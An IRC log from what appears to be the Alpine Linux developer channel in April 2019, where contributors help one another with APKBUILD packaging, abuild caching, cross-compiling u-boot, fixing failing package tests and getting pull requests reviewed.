2019-04-26 13:46:14 <Cogitri> (I guess removing "deps" from the cleaning stuff in abuild.conf would do that, but then the deps would also stay on my system when I do normal builds)
2019-04-26 13:52:07 <ncopa> does it fetch gcc from network? it may be possible to use apk cache for it
2019-04-26 13:52:42 <ncopa> i think it actually create a complete from scratch install
2019-04-26 13:55:20 <Cogitri> Not quite sure if it also downloads the entire thing from the network, will test that once back at the machine
2019-04-26 13:55:57 <Cogitri> But it takes like ~3 minutes to install everything :c
2019-04-26 13:56:37 <Cogitri> I mean it makes sense that it reinstalls the deps of the packages, but maybe it could retain a base install? gcc takes up like 70% of the install time
2019-04-26 13:59:11 <otlabs> hi ppl
2019-04-26 14:03:08 <otlabs> i am compiling u-boot for aarch64 target
2019-04-26 14:03:38 <otlabs> the build process works great on Debian x86_64 with cross compiler setup
2019-04-26 14:04:39 <otlabs> i have tried native compile on aarch64 and get linking issues, some already compiled files are not included, looks like Makefile has some issues
2019-04-26 14:05:03 <otlabs> is it possible to try cross compile on Alpine?
2019-04-26 14:05:48 <SpaceToast> I'd imagine it's the same process as everywhere else
2019-04-26 14:05:52 <SpaceToast> meaning "kind of a pain"
2019-04-26 14:06:10 <p4Wv1qn095FW> levels of pain depend on your target and toolchain.
2019-04-26 14:06:10 <otlabs> i noted that ;-)
2019-04-26 14:06:31 <p4Wv1qn095FW> i have very little pain while crosscompiling for arm-none-eabi from x86_64
2019-04-26 14:07:03 <p4Wv1qn095FW> and u-boot also sounds quite painless as far as the cross compilation aspect goes.
2019-04-26 14:07:34 <otlabs> arm-none-eabi do not form a part of Alpine, rught?
2019-04-26 14:07:47 <otlabs> s/rught/right/
2019-04-26 14:07:47 <alpine-meetbot> otlabs meant to say: arm-none-eabi do not form a part of Alpine, right?
2019-04-26 14:07:49 <p4Wv1qn095FW> nah, i built my own toolchain. indeed.
2019-04-26 14:08:28 <otlabs> oh
2019-04-26 14:09:10 <ncopa> Cogitri: 3 mins? how fast is your network connection?
2019-04-26 14:09:16 <otlabs> with crosstool-ng?
2019-04-26 14:09:42 <p4Wv1qn095FW> never heard about it, i wrote my own script that builds it everytime i upgrade it.
2019-04-26 14:10:21 <otlabs> is it generally available your script?
2019-04-26 14:10:49 <p4Wv1qn095FW> https://www.ctrlc.hu/~stef/tchain.sh
2019-04-26 14:11:25 <otlabs> thanks a lot. i will try it.
2019-04-26 14:11:41 <p4Wv1qn095FW> you need to adapt it to your own usecase
2019-04-26 14:11:52 <p4Wv1qn095FW> but it's really not a big deal.
2019-04-26 14:12:13 <otlabs> i will
2019-04-26 14:12:42 <otlabs> sure, if you practice daily or even more ofen :-)
2019-04-26 14:13:08 <otlabs> i was thinking that if cross compile works then the native compile should work also. i was so wrong.
2019-04-26 14:13:15 <Cogitri> ncopa: 16Mbit/s :c
2019-04-26 14:14:00 <otlabs> p4Wv1qn095FW: so i need to evaluate what would be easier to native compile or to get cross compilation running
2019-04-26 14:14:55 <otlabs> hmmm... i will need to make a package for cross compiler to use it to compile u-boot...
2019-04-26 14:15:11 <otlabs> ok, i will try both ways
2019-04-26 14:15:22 <p4Wv1qn095FW> it's strange that native compiling doesn't work, i would try to fix that instead of crosscompiling
2019-04-26 14:16:31 <otlabs> ok
2019-04-26 14:17:57 <otlabs> will try to fix native compiling
2019-04-26 14:35:03 <ncopa> Cogitri: i think you should look into set up apk cache
2019-04-26 14:35:20 <ncopa> kunkku: iirc abuild rootbld can use the apk cache?
2019-04-26 14:36:08 <ncopa> Cogitri: try create a symlink /etc/apk/cache that points to a cache directory (for example /var/cache/apk)
2019-04-26 14:36:21 <ncopa> if i know kunkku right, that should be enough to cache it
2019-04-26 14:38:34 <ncopa> there is also a dockerized abuild wrapper which uses a pre-generated docker image
2019-04-26 14:38:55 <ncopa> docker will do the caching for you so in thoery that should be more efficient
2019-04-26 14:40:29 <ncopa> this one: https://github.com/mor1/docker-abuild
2019-04-26 14:41:01 <ncopa> that one shoudl work from macOS and windwos as well
2019-04-26 14:41:31 <ncopa> which is pretty cool. you can run `abuild` directly from MacOS or windows
2019-04-26 14:45:32 <Cogitri> Nice, will try. Thanks for the tip :)
2019-04-26 14:47:47 <tcely> We really need to round up these tools on a wiki page or something
2019-04-26 14:49:51 <ncopa> yup
2019-04-26 15:26:19 <Cogitri> ncopa: Uhh ..I guess I'm not that profound with Docker, how exactly do I use docker-abuild? I installed the image but I'm not quite sure how to run it now (just `docker run mor1/abuild`?)
2019-04-26 15:26:39 <ncopa> then abuild rootbld is your friend
2019-04-26 15:27:12 <ncopa> oh sorry, i read "im not that fond of Docker..."
2019-04-26 15:27:13 <ncopa> :)
2019-04-26 15:27:18 <ncopa> its friday....
2019-04-26 15:27:29 <Cogitri> Heh
2019-04-26 15:27:56 <ncopa> we should probably fix the readme there
2019-04-26 15:28:50 <ncopa> i think you only need to run the "abuild" script there
2019-04-26 15:29:05 <ncopa> imho it should be renamed to dabuild or similar
2019-04-26 15:29:27 <TML> Hello, I am trying to make an APKBUILD file for a library (LibRaw) which requires a second piece of software (LibRaw-demosaic-pack-GPL3-0.xx.yy.tar.gz) be downloaded and unpacked in the builddir before I run ./configure; if I were just compiling this one-off, I'd just use wget to fetch the dependency package, but I'm not sure what the proper method is inside an APKBUILD file.
2019-04-26 15:29:48 <ncopa> i think we already have a libraw package?
2019-04-26 15:30:05 <TML> it doesn't have the demosiac pack
2019-04-26 15:30:21 <TML> we need that on our end for the image processing we're doing
2019-04-26 15:30:23 <Cogitri> ncopa: Uhh...how do I "only run the abuild script there"?
2019-04-26 15:30:36 <mps> to add, I'm happy how /etc/apk/cache saves me for waiting downloading deps, although I use lxc
2019-04-26 15:31:58 <mps> TML: proper APKBUILD should download needed files by using fetch function
2019-04-26 15:32:10 <TML> mps: Thanks :)
2019-04-26 15:32:29 <mps> files should be listed in src= field
2019-04-26 15:33:21 <TML> ncopa: I get why the existing libraw package doesn't support the demosiac library - upstream dropped support for it quite some time ago. Unfortunately, business requirements are what they are, so I'm just going to build it locally.
2019-04-26 15:33:41 <mps> it downloads it and 'unpack' function unpack's them under src dir, i.e. $srcdir
2019-04-26 15:34:03 <ncopa> Cogitri: there is an abuild.in there and and a makefile. I think runnnig `make` will genereate the needed docker images and the `abuild` script in local directory
2019-04-26 15:34:20 <ncopa> that `abuild` script is the wrapper
2019-04-26 15:34:39 <ncopa> TML: understood
2019-04-26 15:34:51 <TML> mps: I see the docs for it now in APKBUILD Reference, I just didn't realize that was the same thing as what I needed. I'll do some reading and see if I can figure it out from here. Thank you.
2019-04-26 15:34:57 <ncopa> TML: i think we have some other pakcages that does soemting similar
2019-04-26 15:35:26 <mps> TML: could be this demosiac library packaged separately and then add it in makedepends field of libraw apk
2019-04-26 15:35:28 <ncopa> TML: i think libreoffice and nginx are examples of packages that uses multiple sources
2019-04-26 15:35:35 <ncopa> you could look at those APKBUILDs
2019-04-26 15:36:02 <Cogitri> ncopa: Ah, got it, I run `make` but thought it installed the generated abuild into the docker image :)
2019-04-26 15:36:03 <Cogitri> Thank you
2019-04-26 15:36:27 <Cogitri> I'm trying apk-cache with rootbld right now though, let's see how that works
2019-04-26 15:36:42 <TML> mps: demosiac isn't really a stand-alone library, it's something libraw builds support for if it sees the correct files in its source-tree at build time.
2019-04-26 15:37:11 <mps> aha, then it makes sense to package it together
2019-04-26 15:43:46 <TML> so, if I'm understanding the examples ncopa gave correctly, space-separated values in source="" will all be downloaded for me, and then I just have to tell unpack() where to untar them?
2019-04-26 15:44:16 <mps> better is to put it on different lines
2019-04-26 15:44:21 <TML> ok
2019-04-26 15:45:05 <mps> look at community/crystal for example, to endorse myself a little :)
2019-04-26 15:49:05 <bionade24> Why ist this upstream fix still not in your repos? https://github.com/php/php-src/commit/d6e81f0bfd0cb90586dd83d4fd47a4302605261a
2019-04-26 15:50:20 <bionade24> Or why php 7.3 is still not in your repos?
2019-04-26 15:51:22 <ncopa> TML: yes, and you dont even need to call unpack,  abuild will unpack them all to $srcdir
2019-04-26 15:51:39 <ncopa> so it may be enough to just create a symlink from prepare() frunction
2019-04-26 15:52:55 <ncopa> bionade24: answer to first question is that we have not yet upgraded php to 7.3
2019-04-26 15:53:22 <TML> ncopa: ok, thanks!
2019-04-26 15:53:22 <Cogitri> bionade24: I guess that no one had time to work on it yet
2019-04-26 15:54:29 <ncopa> bionade24: i dont have the answer for your second question but I suspect you may find hints here: https://github.com/alpinelinux/aports/pulls?utf8=%E2%9C%93&q=is%3Apr+is%3Aopen+php7
2019-04-26 15:57:01 <Cogitri> ncopa: Using `dabuild` now, thank you :)
2019-04-26 16:15:03 <otlabs> _ikke_: greetings! thank you for taking a look at my new PR. i will fix it during next hour! i know how to do that :-)
2019-04-26 16:19:50 <_ikke_> sure, no worry
2019-04-26 16:23:58 <otlabs> thank you!
2019-04-26 16:32:17 <ncopa> i think i finally cleaned up the most urgent of my todays tasks
2019-04-26 16:32:26 <_ikke_> nice
2019-04-26 16:32:38 <ncopa> now i wonder if i should set up a 3.10 builder or have a beer on the balcony
2019-04-26 16:32:52 <_ikke_> The latter does not sound like a bad idea :)
2019-04-26 16:33:07 <iggy> definitely option B.
2019-04-26 16:34:04 <ncopa> maybe set up one 3.10 builder with a beer from the balcony?
2019-04-26 16:34:21 <ncopa> probably not a good combo...
2019-04-26 16:36:42 <SpaceToast> ncopa: any recommendations re: https://github.com/alpinelinux/alpine-conf/pull/21 ?
2019-04-26 16:37:16 <SpaceToast> also, you asked that I remind you of https://bugs.alpinelinux.org/issues/9978 when you set up the builders :)
2019-04-26 16:37:49 <clandmeter> One beer will get you to balmer point. Just don't get over it.:)
2019-04-26 16:41:01 <ncopa> SpaceToast: i think i would like to ask musl devs on their opinion
2019-04-26 16:41:28 <SpaceToast> ok, makes sense
2019-04-26 16:41:37 <SpaceToast> will you do that?
2019-04-26 16:41:46 <ncopa> sure
2019-04-26 17:24:42 <TML> is it kosher to do a pip install (e.g., "python3 -m pip install ninja_syntax") in an APKBUILD file, if I just need it for build and not generally installed for the software?
2019-04-26 17:25:22 <p4Wv1qn095FW> no. you should install it via makedepends="py3-ninja_syntax" if possible
2019-04-26 17:26:03 <p4Wv1qn095FW> but that means you need to package if it does not exist yet
2019-04-26 17:26:15 <TML> the rabbit hole goes down another level ;)
2019-04-26 17:26:20 <TML> p4Wv1qn095FW: Thanks
2019-04-26 17:26:45 <p4Wv1qn095FW> yeah. that's how pkging goes...
2019-04-26 17:27:07 <_ikke_> Why did algitbot close https://github.com/alpinelinux/aports/pull/7354?
2019-04-26 17:57:22 <insp> Hello, how do I get my PRs merged?
2019-04-26 17:57:41 <_ikke_> insp: which PR?
2019-04-26 17:58:03 <_ikke_> We are getting loads if new PRs lately. We do our best to handle them, but please be patient if it takes a bit longer
2019-04-26 17:58:09 <insp> pr7265
2019-04-26 17:58:47 <_ikke_> insp: I'll add it to my queue
2019-04-26 17:59:10 <insp> and pr7143 also
2019-04-26 17:59:24 <_ikke_> I don't have push access to main
2019-04-26 18:01:08 <ncopa> hum
2019-04-26 18:01:22 <ncopa> we should probably update linux-headers before bootstrapping builders
2019-04-26 18:01:30 <ncopa> i'll continue on monday
2019-04-26 18:01:35 <ncopa> have a nice weekend!
2019-04-26 18:01:39 <_ikke_> You as well!
2019-04-26 18:01:57 <mps> ncopa: enjoy :)
2019-04-26 18:02:51 <kunkku> ncopa: yes, I think apk rootbld uses the cache
2019-04-26 18:03:20 <_ikke_> Any reason why rootbld does not work in lxc?
2019-04-26 18:03:28 <_ikke_> Probably some capability missing
2019-04-26 18:03:38 <kunkku> likely so
2019-04-26 18:04:00 <north1> well it uses bwrap which needs namespaces ?
2019-04-26 18:08:57 <insp> _ikke_: loads of new PR means alpine getting popular... and that means they should be accepted faster :)
2019-04-26 18:09:34 <_ikke_> We are working on onboarding new people to help with that, it just takes a little
2019-04-26 18:09:47 <_ikke_> And we appreciate all the work being done
2019-04-26 18:10:12 <north1> :D
2019-04-26 18:10:54 <_ikke_> insp: but we don't want to mass add all PRs just to get them handled
2019-04-26 18:12:31 <opal> _ikke_: pong
2019-04-26 18:14:47 <insp> I understand. But all good stuff should be included if you see alpine not just as container os.
2019-04-26 18:15:25 <TML> turns out, I shouldn't need to package ninja_syntax; the ninja package should be installing it. I took a swing at a PR for it, https://github.com/alpinelinux/aports/pull/7357
2019-04-26 18:16:15 <TML> insp: I use alpine on bare metal (actual, physical servers) in my home
2019-04-26 18:16:39 <TML> it's delicious
2019-04-26 18:18:01 <insp> yep. I've tried it too and I like the speed and responsiveness
2019-04-26 18:19:29 <insp> and I wanted to put it on raspberry pi, and found out it's not ready at all
2019-04-26 18:20:04 <TML> I just like having my servers boot; these particular machines refuse to boot under systemd, and my attempts to get that fixed have all been closed as WONTFIX.
2019-04-26 18:20:28 <_ikke_> opal: Wanted to ask regarding the dunst patch you posted on aports
2019-04-26 18:22:35 <opal> go ahead, i didnt know about the github pr
2019-04-26 18:22:53 <_ikke_> Sure
2019-04-26 18:22:53 <opal> nor do i know much about it even still, havent looked
2019-04-26 18:23:12 <_ikke_> opal: I gather you pulled the patchwork patch?
2019-04-26 18:25:54 <opal> i dont follow
2019-04-26 18:26:12 <_ikke_> I looked at patchwork, and I didn't see your patch
2019-04-26 18:26:17 <opal> oh
2019-04-26 18:26:23 <_ikke_> https://patchwork.alpinelinux.org/project/aports/list/
2019-04-26 18:26:28 <opal> https://patchwork.alpinelinux.org/patch/4801/
2019-04-26 18:27:04 <opal> https://patch-diff.githubusercontent.com/raw/alpinelinux/aports/pull/7245.patch has !check, guess thats what makes its build pass
2019-04-26 18:27:22 <opal> yeah, prefer the github pr if it works
2019-04-26 18:27:57 <opal> seems like i half-assed it compared to this person lol
2019-04-26 18:28:22 <north1> opal: Feel free to send a patch with the fixes of the PR
2019-04-26 18:28:58 <opal> im assuming you guys prefer it being done through patchwork rather than github?
2019-04-26 18:29:34 <opal> i could try building the PR just as another test case, then send the patch in, yeah
2019-04-26 18:31:27 <_ikke_> opal: github PR is good
2019-04-26 18:32:08 <opal> kk
2019-04-26 18:32:19 <opal> nothing else to be done on my part then?
2019-04-26 18:32:27 <_ikke_> opal: I don't think so
2019-04-26 18:33:06 <opal> cool, thanks for playing along with me since im still relatively new to contributing to aports lol
2019-04-26 18:33:33 <_ikke_> No worry
2019-04-26 18:35:21 <TML> What am I most likely doing wrong if I get "/usr/bin/abuild: cd: line 2246: can't cd to /opt/parent/myports/foo/pkg/foo-dev: No such file or directory" duing abuild?
2019-04-26 18:36:17 <tcely> Try removing $pkgname-dev from subpackages
2019-04-26 18:37:45 <TML> I know I need the -dev package built, though
2019-04-26 18:38:36 <tcely> Then you probably need to look at the dev function.
2019-04-26 18:38:45 <Cogitri> Well, if -dev fails that means there's nothing to add to -dev via the default phase. You'll have to make a custom -dev package in `dev() {}` then
2019-04-26 18:38:45 <TML> thanks
2019-04-26 18:39:41 <tcely> an empty dev will still give that error. You need at least mkdir -p $subpkgdir
2019-04-26 18:41:10 <tcely> mkdir -p "${subpkdir}"
2019-04-26 18:41:32 <tcely> ^^ I should follow my own advice ;-)
2019-04-26 18:43:19 <TML> After reading about what dev() does, I think the problem may be that this software puts its header files in a weird place in the source tree
2019-04-26 18:43:46 <_ikke_> TML: is there an option to put those in the expected locations?
2019-04-26 18:44:29 <Cogitri> tcely: Yup, was a bad example from me, should've said `dev() { do stuff here}`
2019-04-26 18:44:37 <tcely> Advice for sh beginner: always quote and brace variables, you run into fewer surprising results that way.
2019-04-26 18:45:10 <Cogitri> 
ACTION has debugged a SH script for hours until I noticed that $11 doesn't work

2019-04-26 18:45:13 <_ikke_> aports codestyle atm is to don't add them when unnecessary
2019-04-26 18:46:09 <tcely> _ikke_ is speaking of braces in case that was not clear
2019-04-26 18:46:56 <mps> Cogitri: I talked with #mupdf people about shared linking issue but didn't got anything which could solve issue
2019-04-26 18:47:29 <Cogitri> mps: Yeah, they aren't exactly interested in making dynamic linking working
2019-04-26 18:47:43 <north1> mps: Void Linux also gave up on it
2019-04-26 18:47:55 <TML> _ikke_: No, but I can probably figure something out.
2019-04-26 18:48:03 <tcely> Cogitri: to be fair you did get ${1}1 result from $11, or did your shell error on that?
2019-04-26 18:48:24 <mps> north1: how do they then use devel mupdf?
2019-04-26 18:48:37 <TML> tcely: is there a good example you know of that I can look to for how I *SHOULD* put that python script in the correct location?
2019-04-26 18:49:03 <tcely> TML: for ninja?
2019-04-26 18:49:07 <TML> tcely: Yes
2019-04-26 18:49:12 <north1> mps: packaging the static library into it https://github.com/void-linux/void-packages/blob/5287172f9ada6119691b43c0978da8c616d38c08/srcpkgs/mupdf/template
2019-04-26 18:49:49 <Cogitri> tcely: I got the former, so my input was all messed up and my output got really weird
2019-04-26 18:49:50 <mps> I have void git repo on local disk
2019-04-26 18:50:20 <mps> looked at template but didn't noticed this
2019-04-26 18:50:46 <mps> to be honest, I don't have knowledge how void packaging works
2019-04-26 18:51:03 <north1> If you have any questions about Void packaging i can answer them
2019-04-26 18:51:21 <mps> thanks, will keep in head ;)
2019-04-26 18:51:52 <tcely> TML: looks like ceph has a python way to get that path
2019-04-26 18:52:31 <TML> thanks
2019-04-26 18:52:44 <TML> I'll fix those issues
2019-04-26 18:52:47 <mps> and, previous version of mupdf in alpine also have the same issue, so I think just upgrade it as it is, and after that apply security patches
2019-04-26 18:53:26 <TML> tcely: Does it really make sense to split a subpackage for just a single file?
2019-04-26 18:53:35 <mps> actually these patches are from Cogitri so maybe he could apply them
2019-04-26 18:53:44 <SpaceToast> the number of files shouldn't necessarily matter, imo
2019-04-26 18:53:48 <tcely> Sometimes. I don't think so for ninja
2019-04-26 18:54:00 <SpaceToast> lots of things like "bash completions" etc are single-file subpackages, for example :)
2019-04-26 18:54:46 <Cogitri> mps: Sure
2019-04-26 18:55:07 <mps> ok, thanks
2019-04-26 18:55:53 <mps> I'll post upgrade patch in a hour or two
2019-04-26 19:00:31 <TML> SpaceToast: OK, that makes sense.
2019-04-26 19:03:23 <north1> CI malfunction on https://github.com/alpinelinux/aports/pull/7359
2019-04-26 19:06:40 <ollieparanoid[m]> clandmeter: thanks for merging the libical fix!
2019-04-26 19:14:46 <TML> tcely: is there something specific I need to do to trigger another code review? I've not used this particular feature of github before.
2019-04-26 19:15:02 <north1> code review you mean CI pipeline ?
2019-04-26 19:15:15 <TML> No, the CI pipeline already cleard it
2019-04-26 19:15:24 <tcely> GH has it broken for read users. I'll look shortly.
2019-04-26 19:16:07 <tcely> TML: what does python3 -c 'import sysconfig; print(sy
2019-04-26 19:16:08 <tcely> sconfig.get_path("platlib"))' output for you?
2019-04-26 19:17:46 <TML> tcely: /home/joey/.pyenv/versions/3.6.4/lib/python3.6/site-packages
2019-04-26 19:17:57 <TML> (I'm using pyenv)
2019-04-26 19:18:26 <TML> but it's the same as what  python3 -c "import site; print(site.getsitepackages()[0])" gives
2019-04-26 19:18:34 <tcely> I think that might be the python incantation we want.
2019-04-26 19:18:39 <TML> ok
2019-04-26 19:22:48 <TML> tcely: done
2019-04-26 19:23:13 <TML> tcely: What's the practical difference between those?
2019-04-26 19:24:19 <tcely> I think the difference is based on the layout theme but in our case posix scheme uses the same path for platform and pure.
2019-04-26 19:25:23 <tcely> I am not a python expert, so I'm happy to learn if anyone knows better.
2019-04-26 19:27:22 <tcely> TML: did you mean to add a new aport to this PR?
2019-04-26 19:28:01 <mps> Cogitri: here is the patch https://patchwork.alpinelinux.org/patch/4820/, we need someone with main push rights
2019-04-26 19:28:07 <north1> tcely: It is an already merged aport commit, problably a screwup when rebasing on top of master
2019-04-26 19:29:00 <TML> ugh  -no, screwed up my remotes
2019-04-26 19:29:09 <TML> north1: yeah
2019-04-26 19:30:28 <tcely> TML: https://github.com/alpinelinux/aports/blob/master/.github/remote-config-example.md
2019-04-26 19:30:29 <tcely> I usually use: ( git fetch --all && git rebase GitHub/master )
2019-04-26 19:31:02 <north1> i just use this http://ix.io/1HiP :D
2019-04-26 19:31:22 <mps> hmm, actually V2 is here https://patchwork.alpinelinux.org/patch/4821/
2019-04-26 19:33:18 <p4Wv1qn095FW> #10236
2019-04-26 19:33:45 <tcely> github was supposed to be lowercase. Thanks autocorrect.
2019-04-26 19:33:47 <TML> I was trying to rebase from my fork and instead rebased from the upstream
2019-04-26 19:34:21 <tcely> I typically want to be on the branch I'm rebasing first.
2019-04-26 19:36:03 <Cogitri> I just have `git checkout master && git pull upstream master --rebase && git checkout -b <pkgname>` in a script
2019-04-26 19:39:11 <TML> Well, like I said, my problem was that my remotes were swapped around, so `master` was pointing at upstream instead of origin
2019-04-26 19:43:30 <otlabs> _ikke_: packaging issue is fixed now
2019-04-26 19:44:20 <_ikke_> cool
2019-04-26 19:53:36 <TML> ugh - this dev function is breaking my brain
2019-04-26 19:53:44 <TML> ERROR: flif-dev-0.3-r0: failed to rename usr/.apk.1bab88c2372efe2fdfceefb11fafa1104faa766edb34c596 to usr/include.
2019-04-26 19:57:51 <TML> maybe I need to mkdir -p /usr/include first?
2019-04-26 19:58:39 <_ikke_> That should normally not be necessary
2019-04-26 19:59:11 <TML> Well, that fixed it in this case - not sure why
2019-04-26 19:59:31 <_ikke_> TML: do you install the project in $pkgdir?
2019-04-26 19:59:36 <TML> just saw it in the dev() for the nss aport, so figured I'd give it a shot
2019-04-26 19:59:51 <TML> _ikke_: yes
2019-04-26 20:00:38 <otlabs> time to go. have a great weekend! bye
2019-04-26 20:01:04 <TML> _ikke_: https://gist.github.com/tml/e467515f8814fdc59de7511e836205ae
2019-04-26 20:01:25 <TML> _ikke_: if you see something I've done the wrong way, I'd love the review
2019-04-26 20:01:31 <_ikke_> ah, you manually use install
2019-04-26 20:02:11 <TML> is there a better solution? I was just copying the work of other packages I found that had dev()s defined.
2019-04-26 20:02:43 <_ikke_> TML: It might be easier to move the files in the right place in the package function
2019-04-26 20:02:49 <_ikke_> then the default_dev will take care of the rest
2019-04-26 20:12:34 <TML> _ikke_: That worked, thanks
2019-04-26 20:12:51 <TML> definitely looks easier to understand
2019-04-26 20:19:32 <_ikke_> TML: nice
2019-04-26 20:20:34 <Cogitri> Can I chown folders to a pkguser? From what I can see nothing guarantees that the pkguser UID will be the same as the UID of the user I'll create in pre-install, or is there?
2019-04-26 20:20:36 <TML> only about 5 custom aports left and I'll be able to build an imagemagick that supports every possible delegate
2019-04-26 20:22:03 <_ikke_> Cogitri: tar records the username and groupname and will use the corresponding uid/gid if it exists on the system
2019-04-26 20:22:14 <_ikke_> Cogitri: So you need to make sure it's created in a pre-install hook
2019-04-26 20:22:30 <Cogitri> Ah, nice! Thanks for the info :)
2019-04-26 20:22:46 <_ikke_> Cogitri: Something I learned a while ago as well
2019-04-26 20:22:47 <mps> yes, some packages do
2019-04-26 20:23:25 <_ikke_> do what?
2019-04-26 20:23:46 <mps> chown dirs
2019-04-26 20:24:46 <_ikke_> But in most cases it's not necessary
2019-04-26 20:25:44 <mps> right, most packages do this in package()
2019-04-26 20:26:58 <_ikke_> right
2019-04-26 20:27:08 <mps> coova-chilli/coova-chilli.post-instal
2019-04-26 20:48:29 <Cogitri> How can I ensure that dbus-libs is installed before dbus? I just bumped dbus but now dbus is installed before dbus-libs and dbus tries to execute itself in post-install (which fails with because it can't find its libs)
2019-04-26 20:51:08 <TML> Cogitri: setting depends="dbus-libs" doesn't work?
2019-04-26 20:54:39 <Cogitri> Doesn't seem so, dbus-libs still gets installed afterwards
2019-04-26 20:56:23 <kr0k0> Hi all
2019-04-26 20:58:30 <kr0k0> Is there a 64bit variable in abuild?
2019-04-26 20:58:32 <TML> ok, my last piece is OpenEXR, whose configure script specifies "#!/bin/sh" but actually contains bash-specific syntax. What's the preferred way to fix that in an APKBUILD file? Just sed it away?
2019-04-26 20:59:14 <TML> kr0k0: https://wiki.alpinelinux.org/wiki/APKBUILD_Reference#arch might be useful
2019-04-26 21:01:08 <kr0k0> TML: Thanks, but I want to know If I'm generally on 64bit arch, not a specific one.
2019-04-26 21:01:25 <TML> ah
2019-04-26 21:03:54 <_ikke_> Cogitri: are you stwa on github?
2019-04-26 21:04:13 <mps> kr0k0: apk --print
2019-04-26 21:04:19 <Cogitri> No, I'm Cogitri on github :)
2019-04-26 21:04:26 <stwa> _ikke_: no, i am :)
2019-04-26 21:04:46 <_ikke_> stwa: ah, ok :D
2019-04-26 21:05:09 <_ikke_> Just a coincidence then that Cogitri mentioned dbus
2019-04-26 21:05:48 <Cogitri> Kinda, am working on elogind variants of polkit and dbus
2019-04-26 21:06:04 <_ikke_> right
2019-04-26 21:06:21 <stwa> i was wondering myself
2019-04-26 21:06:23 <_ikke_> I was looking at dunst, where dbus was mentioned as well
2019-04-26 21:07:43 <_ikke_> Why are there 2 source statements in the dunst APKBUILD?
2019-04-26 21:07:58 <kr0k0> TML: Then I get also the specific arch ^^
2019-04-26 21:09:09 <north1> _ikke_: didn't even notice that
2019-04-26 21:09:15 <north1> removing the first statement
2019-04-26 21:10:10 <north1> i got dbus errors while building with rootbld i'll test with dabuild
2019-04-26 21:10:39 <_ikke_> north1: no dbus errors when I build it
2019-04-26 21:11:04 <_ikke_> * Suite suite_dbus:
2019-04-26 21:11:06 <_ikke_> 20 tests - 20 passed, 0 failed, 0 skipped (43788 ticks, 0.044 sec)
2019-04-26 21:11:43 <_ikke_> The failing tests:
2019-04-26 21:11:49 <_ikke_> * Suite suite_icon:
2019-04-26 21:11:51 <_ikke_> 8 tests - 3 passed, 5 failed, 0 skipped (1672 ticks, 0.002 sec)
2019-04-26 21:11:58 <north1> yes i'm working on it
2019-04-26 21:12:05 <north1> well looking at it i have no clue how to fix them
2019-04-26 21:12:25 <_ikke_> Might need to report it upstream?
2019-04-26 21:13:07 <stwa> might be a missing dependency, as i can run the tests without errors
2019-04-26 21:13:17 <north1> i see
2019-04-26 21:13:25 <_ikke_> aha
2019-04-26 21:14:08 <SpaceToast> https://github.com/alpinelinux/aports/pull/6294 can be closed
2019-04-26 21:14:21 <SpaceToast> (tree is on 7.2.0, PR is for updating to 7.1.1)
2019-04-26 21:15:43 <_ikke_> Done
2019-04-26 21:16:37 <SpaceToast> https://github.com/alpinelinux/aports/pull/6306 LGTM (main questionable part is removing cd, but abuild should handle it (looking at sources runpart())
2019-04-26 21:16:57 <iggy> _ikke_: what do you think about this? Curious because I'm thinking about doing it for the rest of Ceph https://github.com/iggy/aports/commit/4bd366cbf2fdf152027c4326cc3105b1590a9962
2019-04-26 21:17:48 <SpaceToast> https://github.com/alpinelinux/aports/pull/6279 can be closed (tree is on 1.0.1, which is what the PR wants it to be at)
2019-04-26 21:19:33 <_ikke_> SpaceToast: Yes, abuild now does `cd "$builddir"`, so it's not required anymore, but ncopa wants to keep them at least for aports in main to reduce merge conflicts when backporting
2019-04-26 21:20:44 <SpaceToast> fair enough :)
2019-04-26 21:21:02 <stwa> north1: maybe you need to add some of the automatically traced dependencies as explicit check dependencies, as they won't be installed by abuild
2019-04-26 21:21:09 <north1> dunst is missing librsvg
2019-04-26 21:21:09 <north1> or rather gdk-pixbuf is i think
2019-04-26 21:21:17 <kr0k0> _ikke_: Good to know.
2019-04-26 21:21:31 <tmhoang> SpaceToast: reading docs.a.o. Nice job. 1 commend regarding : http://docs.alpinelinux.org/user-handbook/0.1a/Installing/medium.html . It should be "IBM Z (Mainframes)" since IBM Z is mainframe.
2019-04-26 21:21:52 <kr0k0> _ikke_: Is this also documented?
2019-04-26 21:21:56 <SpaceToast> tmhoang: thanks! can you please post that in #alpine-docs? (I'll add it in later, doing some PR reviews right now)
2019-04-26 21:22:13 <_ikke_> kr0k0: not really
2019-04-26 21:22:40 <stwa> north1: sounds reasonable - my guess is gdk-pixbuf
2019-04-26 21:22:48 <kr0k0> _ikke_: Ok
2019-04-26 21:22:55 <north1> stwa: yes i guessed that as well
2019-04-26 21:23:04 <north1> but Void doesn't do it
2019-04-26 21:23:58 <_ikke_> apk add gdk-pixbuf does not fix the tests
2019-04-26 21:24:11 <north1> _ikke_: apk add librsvg
2019-04-26 21:24:33 <stwa> north1: do you have a link to their package sources?
2019-04-26 21:24:52 <_ikke_> north1: yes, that fixes it indeed
2019-04-26 21:25:01 <north1> stwa: https://github.com/void-linux/void-packages/blob/075891964665b6585768462eacaae888498f50e8/srcpkgs/gdk-pixbuf/template
2019-04-26 21:25:09 <north1> if you use duckduckgo you can do !xbps <pkgname>
2019-04-26 21:25:54 <SpaceToast> _ikke_: could you restart https://cloud.drone.io/alpinelinux/aports/224/ ?
2019-04-26 21:25:59 <SpaceToast> looks like there was some transient openssl failure
2019-04-26 21:26:15 <_ikke_> Done. You should be able as well if you login
2019-04-26 21:26:19 <north1> Ci can be restarted by rebasing and force-pushing as well
2019-04-26 21:26:27 <_ikke_> I think at least
2019-04-26 21:26:43 <SpaceToast> ah, ok, I'll try doing it myself next time
2019-04-26 21:26:45 <SpaceToast> north1: it's not my PR :)
2019-04-26 21:26:58 <north1> SpaceToast: oh
2019-04-26 21:27:00 <stwa> north1: nice
2019-04-26 21:27:18 <SpaceToast> north1: I noticed you've done lots of reviewing yesterday and asked if that sort of activity is useful to people with push access
2019-04-26 21:27:22 <_ikke_> north1: what is xbps?
2019-04-26 21:27:32 <SpaceToast> I was told that it was, so I figured i'd take a few hours every once in a while following suit
2019-04-26 21:27:36 <SpaceToast> _ikke_: it's the package manager void linux uses
2019-04-26 21:27:40 <_ikke_> right
2019-04-26 21:27:43 <north1> _ikke_: Void Linux's package manager
2019-04-26 21:28:48 <_ikke_> There is !alpine for alpine packages apparently
2019-04-26 21:29:20 <north1> missing an !aports i think
2019-04-26 21:29:24 <_ikke_> SpaceToast: still failing
2019-04-26 21:29:36 <SpaceToast> yeah, now it's just that it needs to be rebased
2019-04-26 21:29:39 <_ikke_> indeed
2019-04-26 21:29:42 <SpaceToast> (unrelated histories etc)
